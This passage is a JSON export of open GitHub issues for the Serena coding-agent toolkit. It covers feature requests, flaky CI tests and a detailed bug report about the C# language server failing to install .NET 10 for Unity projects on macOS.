{
  "issues": [
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/1044",
      "id": 3942430661,
      "node_id": "I_kwDOONgOes7q_LfF",
      "number": 1044,
      "title": "Add to Docker MCP Toolkit registry",
      "user": {
        "login": "danielgomezrico",
        "id": 76348,
        "node_id": "MDQ6VXNlcjc2MzQ4",
        "avatar_url": "https://avatars.githubusercontent.com/u/76348?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/danielgomezrico",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 3,
      "created_at": "2026-02-14T21:54:01Z",
      "updated_at": "2026-02-14T23:44:30Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "**Describe the solution you'd like**\nSerena must be available to turn on from the Docker MCP Toolkit\n\n**Describe alternatives you've considered**\nCreate a PR in their repo: https://github.com/docker/mcp-registry\n\n**Additional context**\nIt will help to reach more people and to start it really easy\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/1044/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/1042",
      "id": 3941534258,
      "node_id": "I_kwDOONgOes7q7woy",
      "number": 1042,
      "title": "Do you guys need to double serialize your output, I konw it is not really a problem but it would be a bit more token efficient not to?",
      "user": {
        "login": "alex4o",
        "id": 3462438,
        "node_id": "MDQ6VXNlcjM0NjI0Mzg=",
        "avatar_url": "https://avatars.githubusercontent.com/u/3462438?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/alex4o",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "assignees": {
        "0": {
          "login": "MischaPanch",
          "id": 35432522,
          "node_id": "MDQ6VXNlcjM1NDMyNTIy",
          "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/MischaPanch",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        }
      },
      "milestone": null,
      "comments": 11,
      "created_at": "2026-02-14T14:20:01Z",
      "updated_at": "2026-02-14T17:16:29Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "I have changed the code to fix that but not sure if this is the correct solution or you have something in mind that I don't or the mcp docs say that the shape should be different?\n\nHere is what I propose\nhttps://github.com/alex4o/serena/pull/1/changes\n\nBut even then the mcp would already serialize this so not sure if it is needed to serialize here at all. Ignore the change with the `\"` just wanted to use it like that.\n\nI have:\n\n- [x] read the relevant parts of the documentation and verified that the issue cannot be solved by adjusting configuration\n- [x] understood that the Serena Dashboard can be disabled through the config\n- [x] understood that, by default, a client session will start a separate instance of a Serena server. \n- [x] understood that, for multi-agent setups, the Streamable HTTP/SSE mode should be used.\n- [x] understood that non-project files are ignored using either .gitignore or the corresponding setting in `.serena/project.yml`\n- [x] looked for similar issues and discussions, including closed ones\n- [x] made sure it's an actual issue, not a question (use GitHub Discussions instead).\n\nIf you have encountered an actual issue:\n\n- If using language servers (not the JetBrains plugin), \n  - [ ] I performed `<uv invocation> serena project health-check`\n  - [ ] I indexed the project as described in the documentation\n- [x] I added sufficient explanation of my setup: the MCP client, the OS, the programming language(s), any config adjustments or relevant project specifics\n- [x] I explained how the issue arose and, where possible, added instructions on how to reproduce it\n- [ ] If the issue happens on an open-source project, I have added the link\n- [x] I provided a meaningful title and description\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/1042/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/1040",
      "id": 3941303064,
      "node_id": "I_kwDOONgOes7q64MY",
      "number": 1040,
      "title": "Fix & re-enable flaky tests in CI",
      "user": {
        "login": "opcode81",
        "id": 1295099,
        "node_id": "MDQ6VXNlcjEyOTUwOTk=",
        "avatar_url": "https://avatars.githubusercontent.com/u/1295099?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/opcode81",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 3,
      "created_at": "2026-02-14T12:25:37Z",
      "updated_at": "2026-02-14T23:58:43Z",
      "closed_at": null,
      "author_association": "CONTRIBUTOR",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "Many tests had to be disabled to render CI tests reliable.\n\nThe following tests were disabled with #1041 (resolving #1039) and we should investigate whether we can \"fix\" something and re-enable them at some point:\n\n* Phpactor tests on Windows\n   * Finding references always fails (see #1022)\n   * Other tests sometimes fail\n* TestFSharpLanguageServer\n   * test_find_referencing_symbols_across_files\n   * test_hover_information\n* TestNixLanguageServer::test_hover_information\n* TestSerenaAgent::test_find_symbol for \n   * FSHARP\n   * RUST\n* TestSerenaAgent::test_find_symbol_references for TYPESCRIPT\n* TestLanguageServerCommonFunctionality::test_open_file_cache_invalidate on Windows  \n   (no need to really fix this; works on local Windows file systems; the CI file system is just too slow/weird)",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/1040/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/1031",
      "id": 3935017526,
      "node_id": "I_kwDOONgOes7qi5o2",
      "number": 1031,
      "title": "Jetbrains Rider Support for plugin",
      "user": {
        "login": "origamium",
        "id": 5967271,
        "node_id": "MDQ6VXNlcjU5NjcyNzE=",
        "avatar_url": "https://avatars.githubusercontent.com/u/5967271?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/origamium",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 0,
      "created_at": "2026-02-13T02:33:59Z",
      "updated_at": "2026-02-13T02:33:59Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "**Is your feature request related to a problem? Please describe.**\nI am a heavy user of the Serena plugin for JetBrains IDEs and use it across almost all of my projects with various JetBrains IDEs (WebStorm, PhpStorm, etc.). However, the plugin is not available in the marketplace for Rider, which means I cannot use Serena's symbol analysis features in Rider.\n\n**Describe the solution you'd like**\nI would like Serena plugin support to be added for JetBrains Rider, similar to the support available for other JetBrains IDEs.\n\n**Describe alternatives you've considered**\nWhile I could potentially resolve this by configuring the project settings to use LSP as the language_backend instead of JetBrains, this approach feels inefficient. In repositories that contain multiple languages including C#, I would need to set the language_backend to LSP for all languages rather than just using the native JetBrains integration where available.\n\nAn alternative solution would be to have an option to fall back to LSP for specific languages only, while continuing to use the JetBrains backend for other supported languages. Is such a feature possible?\n\n**Additional context**\nThis feature would be particularly useful for multi-language repositories where some languages are well-supported by JetBrains IDEs (and thus the Serena plugin) while others, like C# in Rider, currently lack plugin support.",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/1031/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/1026",
      "id": 3932706262,
      "node_id": "I_kwDOONgOes7qaFXW",
      "number": 1026,
      "title": "Local `.serena/project.yml`",
      "user": {
        "login": "devnix",
        "id": 1777519,
        "node_id": "MDQ6VXNlcjE3Nzc1MTk=",
        "avatar_url": "https://avatars.githubusercontent.com/u/1777519?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/devnix",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 4,
      "created_at": "2026-02-12T16:18:31Z",
      "updated_at": "2026-02-12T17:01:21Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "Is there any kind of config file at project level that could be gitignored to override certain settings?\n\nFor example, a `.serena/project.local.yml` where I can configure the jetbrains language backend for a specific project without affecting my coworkers, and enabling me to use LSP on other projects",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/1026/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/1022",
      "id": 3928575202,
      "node_id": "I_kwDOONgOes7qKUzi",
      "number": 1022,
      "title": "Phpactor: Finding references fails on Windows",
      "user": {
        "login": "opcode81",
        "id": 1295099,
        "node_id": "MDQ6VXNlcjEyOTUwOTk=",
        "avatar_url": "https://avatars.githubusercontent.com/u/1295099?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/opcode81",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 7,
      "created_at": "2026-02-11T20:31:35Z",
      "updated_at": "2026-02-14T13:01:43Z",
      "closed_at": null,
      "author_association": "CONTRIBUTOR",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "I disabled the respective tests on Windows; see commit d65a99034b1d53ec55d355032ed4e8ced9ff3903.\n\nPerhaps a newer version will fix this and we can revert the commit.\n\n@takeokunn fyi",
      "closed_by": {
        "login": "opcode81",
        "id": 1295099,
        "node_id": "MDQ6VXNlcjEyOTUwOTk=",
        "avatar_url": "https://avatars.githubusercontent.com/u/1295099?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/opcode81",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/1022/reactions",
        "total_count": 1,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 1
      },
      "performed_via_github_app": null,
      "state_reason": "reopened",
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/1021",
      "id": 3926514666,
      "node_id": "I_kwDOONgOes7qCdvq",
      "number": 1021,
      "title": "Group retrieved references by relative_path",
      "user": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": {
        "login": "opcode81",
        "id": 1295099,
        "node_id": "MDQ6VXNlcjEyOTUwOTk=",
        "avatar_url": "https://avatars.githubusercontent.com/u/1295099?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/opcode81",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "assignees": {
        "0": {
          "login": "opcode81",
          "id": 1295099,
          "node_id": "MDQ6VXNlcjEyOTUwOTk=",
          "avatar_url": "https://avatars.githubusercontent.com/u/1295099?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/opcode81",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        }
      },
      "milestone": null,
      "comments": 2,
      "created_at": "2026-02-11T13:15:49Z",
      "updated_at": "2026-02-13T15:30:04Z",
      "closed_at": null,
      "author_association": "CONTRIBUTOR",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "Similar to how we have grouped in overview, this will reduce tokens (quite often, I think).\n\nWe can even group further, by relative_path and by referencing symbol type\n\n@opcode81 WDYT?",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/1021/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/1019",
      "id": 3926101462,
      "node_id": "I_kwDOONgOes7qA43W",
      "number": 1019,
      "title": "Fail activation in JetBrains mode if no IDE running",
      "user": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        },
        "1": {
          "id": 8943797060,
          "node_id": "LA_kwDOONgOes8AAAACFReDRA",
          "url": "https://api.github.com/repos/oraios/serena/labels/jetbrains",
          "name": "jetbrains",
          "color": "843eeb",
          "default": false,
          "description": ""
        }
      },
      "state": "open",
      "locked": false,
      "assignee": {
        "login": "Copilot",
        "id": 198982749,
        "node_id": "BOT_kgDOC9w8XQ",
        "avatar_url": "https://avatars.githubusercontent.com/in/1143301?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/Copilot",
        "type": "Bot",
        "user_view_type": "public",
        "site_admin": false
      },
      "assignees": {
        "0": {
          "login": "MischaPanch",
          "id": 35432522,
          "node_id": "MDQ6VXNlcjM1NDMyNTIy",
          "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/MischaPanch",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "1": {
          "login": "Copilot",
          "id": 198982749,
          "node_id": "BOT_kgDOC9w8XQ",
          "avatar_url": "https://avatars.githubusercontent.com/in/1143301?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/Copilot",
          "type": "Bot",
          "user_view_type": "public",
          "site_admin": false
        }
      },
      "milestone": null,
      "comments": 2,
      "created_at": "2026-02-11T11:42:21Z",
      "updated_at": "2026-02-11T12:02:58Z",
      "closed_at": null,
      "author_association": "CONTRIBUTOR",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "Sometimes I forget to run a jetbrains instance on a project. Serena can still activate the project but, of course, most tools will error out. I think we should throw an error on activation if we are in jetbrains mode and failed to connect to an IDE instance",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/1019/reactions",
        "total_count": 1,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 1
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/1014",
      "id": 3920797885,
      "node_id": "I_kwDOONgOes7psqC9",
      "number": 1014,
      "title": "C# Language Server fails to initialize: .NET 10.0 requirement blocks Unity projects on macOS ARM64",
      "user": {
        "login": "IJsLauw",
        "id": 6771143,
        "node_id": "MDQ6VXNlcjY3NzExNDM=",
        "avatar_url": "https://avatars.githubusercontent.com/u/6771143?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/IJsLauw",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 9,
      "created_at": "2026-02-10T10:56:01Z",
      "updated_at": "2026-02-14T12:00:48Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "## Labels\n`bug`, `C#`, `language-server`, `Unity`\n\n## Description\n\n### Summary\nSerena's C# language server (via SolidLSP) attempts to install .NET 10.0 runtime, which doesn't exist yet (still in Preview), causing language server initialization to fail for Unity projects that require .NET 6.0/Standard 2.1 compatibility.\n\n### Environment\n- **OS**: macOS 14.x (Apple Silicon ARM64)\n- **Serena**: via Claude Code plugin (latest)\n- **Project**: Unity 6000.3.5f2 (C# 9, .NET Standard 2.1)\n- **Installed .NET**: 6.0.102 SDK + 6.0.2 Runtime (ARM64)\n- **OmniSharp**: 1.39.15 (manually installed, ARM64)\n\n### Steps to Reproduce\n1. Install Serena plugin in Claude Code\n2. Create/open a Unity project (C# with .NET Standard 2.1 or .NET 6.0 target)\n3. Create `.serena/config.toml` in project root:\n   ```toml\n   [project]\n   name = \"MyUnityProject\"\n\n   [language_servers.csharp]\n   dotnet_version = \"6.0\"\n   path = \"/path/to/manually/installed/omnisharp\"\n\n   [language_servers.csharp.settings]\n   unity = true\n   solution = \"MyUnityProject.sln\"\n   ```\n4. Activate project in Serena\n5. Attempt to use C# symbolic tools (e.g., `get_symbols_overview`)\n\n### Expected Behavior\n- Serena should use the configured OmniSharp and .NET 6.0\n- OR respect the project's target framework (.NET Standard 2.1 / .NET 6.0)\n- C# language server should initialize successfully\n\n### Actual Behavior\n**Error log excerpt:**\n```\nINFO  solidlsp.language_servers.csharp_language_server:_install_dotnet_with_script:494\n      - Installing .NET 10.0 runtime using official Microsoft install script...\n\nERROR Failed to install .NET 10.0 runtime using install script:\n      Command '['bash', '...dotnet-install.sh', '--version', '10.0', ...]'\n      died with <Signals.SIGKILL: 9>.\n```\n\n**Result:**\n- Language server manager fails to initialize\n- All symbolic C# tools (`find_symbol`, `get_symbols_overview`, etc.) fail with:\n  ```\n  Error: The language server manager is not initialized\n  ```\n- Multiple bash processes spawn trying to install .NET 10.0 (4-7+ processes)\n- Project becomes unusable for C# code intelligence\n\n### Root Cause Analysis\n\n1. **SolidLSP hardcoded .NET 10.0 requirement**\n   - The `solidlsp` package has hardcoded logic to install .NET 10.0\n   - Code path: `solidlsp/language_servers/csharp_language_server.py:_install_dotnet_with_script:494`\n   - This runs **before** reading project-specific configuration\n\n2. **.NET 10.0 doesn't exist yet**\n   - .NET 10 is currently in Preview, no stable release exists\n   - Official Microsoft installer fails when attempting `--version 10.0`\n\n3. **Configuration is ignored**\n   - Both global `~/.serena/serena_config.yml` and project `.serena/config.toml` are read AFTER installation attempt\n   - Settings like `dotnet_version = \"6.0\"`, `path = \"...\"`, and `external_dotnet_runtime = true` have no effect\n\n4. **Unity projects specifically affected**\n   - Unity 2022+ uses .NET Standard 2.1 (equivalent to .NET 6.0)\n   - Unity projects cannot use .NET 10.0 even when it's released\n   - This affects a significant portion of C# developers using Serena\n\n### What I Tried (All Failed)\n\n✅ **Installed prerequisites manually:**\n- OmniSharp 1.39.15 for ARM64\n- .NET 6.0 SDK (6.0.102) for ARM64\n- Verified both work independently with `DOTNET_ROOT=/usr/local/share/dotnet`\n\n✅ **Configured project-specific settings** (`.serena/config.toml`):\n```toml\n[language_servers.csharp]\ndotnet_version = \"6.0\"\npath = \"/Users/username/.local/bin/omnisharp/OmniSharp\"\nenv = { DOTNET_ROOT = \"/usr/local/share/dotnet\" }\n```\n\n✅ **Configured global settings** (`~/.serena/serena_config.yml`):\n```yaml\nls_specific_settings:\n  csharp:\n    enabled: false  # Tried to disable auto-installation\n    path: \"/Users/username/.local/bin/omnisharp/OmniSharp\"\n    dotnet_path: \"/usr/local/share/dotnet/dotnet\"\n    external_dotnet_runtime: true\n    dotnet_version: \"6.0\"\n```\n\n✅ **Cleaned up multiple times:**\n- Removed `~/.serena/language_servers/static/CSharpLanguageServer/`\n- Killed all background installation processes\n- Restarted Claude Code cleanly\n\n❌ **Result:** SolidLSP still attempts .NET 10.0 installation on every startup\n\n### Related Issues\nThis appears to be the same class of problem as:\n- #663 - \"Tries and fails to install dotnet 9 in a dotnet 8 project\"\n- #513 - \"LSP Timeout when loading .NET 9 projects\"\n- #384 - \"C# Language Server Download/Initialization Fails\"\n\nThe pattern: Serena attempts to install newer .NET versions regardless of project requirements.\n\n### Impact\n- **All Unity developers** cannot use Serena's C# language server\n- **All .NET 6.0/8.0 projects** may fail if SolidLSP requires .NET 10.0\n- **Workaround required**: Users must use VS Code + OmniSharp extension separately\n\n### Proposed Solutions\n\n**Option 1: Support Older .NET Versions (Preferred)**\n- Allow SolidLSP to work with .NET 6.0, 8.0, and 9.0\n- Detect project target framework before choosing .NET version\n- Unity projects → use .NET 6.0\n- Modern projects → use .NET 8.0/9.0\n\n**Option 2: Respect Manual Configuration**\n- When `ls_specific_settings.csharp.path` is provided, skip auto-installation entirely\n- When `external_dotnet_runtime = true`, skip .NET installation\n- Read configuration BEFORE attempting any downloads\n\n**Option 3: Make .NET Version Configurable**\n- Allow `dotnet_version` in config to override hardcoded version\n- Default to .NET 8.0 (stable) instead of .NET 10.0 (preview)\n- Validate version exists before attempting installation\n\n**Option 4: Fallback Strategy**\n- Try .NET 10.0 first\n- On failure, fall back to .NET 8.0, then 6.0\n- Use whatever .NET is already installed on the system\n\n### Additional Context\n\n**Why .NET 6.0 for Unity:**\n- Unity 2022+ uses .NET Standard 2.1 API compatibility\n- Unity's C# compiler maps to roughly .NET 6.0 feature set\n- OmniSharp 1.39.x works perfectly with .NET 6.0 for Unity projects\n\n**System Details:**\n```bash\n$ dotnet --version\n6.0.102\n\n$ dotnet --list-runtimes\nMicrosoft.AspNetCore.App 6.0.2 [/usr/local/share/dotnet/shared/Microsoft.AspNetCore.App]\nMicrosoft.NETCore.App 6.0.2 [/usr/local/share/dotnet/shared/Microsoft.NETCore.App]\n\n$ arch\narm64\n\n$ file /usr/local/share/dotnet/dotnet\n/usr/local/share/dotnet/dotnet: Mach-O 64-bit executable arm64\n```\n\n**Manual OmniSharp Test (Works):**\n```bash\n$ DOTNET_ROOT=/usr/local/share/dotnet ~/.local/bin/omnisharp/OmniSharp --version\n# Successfully starts, detects .NET 6.0, finds Unity solution\n```\n\n### Logs\n\n<details>\n<summary>Serena Log Excerpt</summary>\n\n```\nINFO  2026-02-10 11:46:30,842 [Task-1:init_language_server_manager]\n      serena.project:create_language_server_manager:414\n      - Creating language server manager for /path/to/Unity/Project\n\nINFO  2026-02-10 11:46:31,400 [StartLS:csharp]\n      serena.ls_manager:create_language_server:41\n      - Creating language server instance for /path/to/Unity/Project, language=csharp.\n\nINFO  2026-02-10 11:46:31,446 [StartLS:csharp]\n      solidlsp.language_servers.csharp_language_server:_install_dotnet_with_script:494\n      - Installing .NET 10.0 runtime using official Microsoft install script...\n\nERROR 2026-02-10 11:46:42,177 [StartLS:csharp]\n      sensai.util.logging:__exit__:373\n      - Language server startup (language=csharp) failed after 10.777 seconds\n\nERROR 2026-02-10 11:46:42,178 [StartLS:csharp]\n      serena.ls_manager:start_language_server:101\n      - Error starting language server for language csharp:\n        Failed to install .NET 10.0 runtime using install script:\n        Command '['bash', '/Users/username/.serena/language_servers/static/CSharpLanguageServer/dotnet-runtime-10.0/dotnet-install.sh',\n        '--version', '10.0', '--install-dir', '/Users/username/.serena/language_servers/static/CSharpLanguageServer/dotnet-runtime-10.0',\n        '--runtime', 'dotnet', '--no-path']' died with <Signals.SIGKILL: 9>.\n```\n</details>\n\n### Request\nPlease update SolidLSP or Serena's C# language server integration to:\n1. Support .NET 6.0 and 8.0 (stable versions)\n2. Respect manual OmniSharp configuration when provided\n3. Detect project target framework before choosing .NET version\n4. OR allow disabling automatic .NET installation entirely\n\nThis would unblock all Unity developers and users with .NET 6.0/8.0 projects.\n\n### Workaround (For Others Experiencing This)\nUntil fixed, use VS Code with C# extension for IntelliSense, while using Claude Code for AI assistance. OmniSharp in VS Code works perfectly with the same Unity projects.\n\n---\n\nThank you for this excellent tool! Looking forward to using Serena with Unity projects once this is resolved.",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/1014/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/1011",
      "id": 3919181328,
      "node_id": "I_kwDOONgOes7pmfYQ",
      "number": 1011,
      "title": "reconnect to scala-metals DB",
      "user": {
        "login": "tkolleh",
        "id": 3095197,
        "node_id": "MDQ6VXNlcjMwOTUxOTc=",
        "avatar_url": "https://avatars.githubusercontent.com/u/3095197?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/tkolleh",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035893,
          "node_id": "LA_kwDOONgOes8AAAAB8SobdQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/help%20wanted",
          "name": "help wanted",
          "color": "008672",
          "default": true,
          "description": "Extra attention is needed"
        },
        "1": {
          "id": 9643955448,
          "node_id": "LA_kwDOONgOes8AAAACPtMU-A",
          "url": "https://api.github.com/repos/oraios/serena/labels/language-specific",
          "name": "language-specific",
          "color": "aaaaaa",
          "default": false,
          "description": null
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 2,
      "created_at": "2026-02-10T02:57:49Z",
      "updated_at": "2026-02-11T01:30:40Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
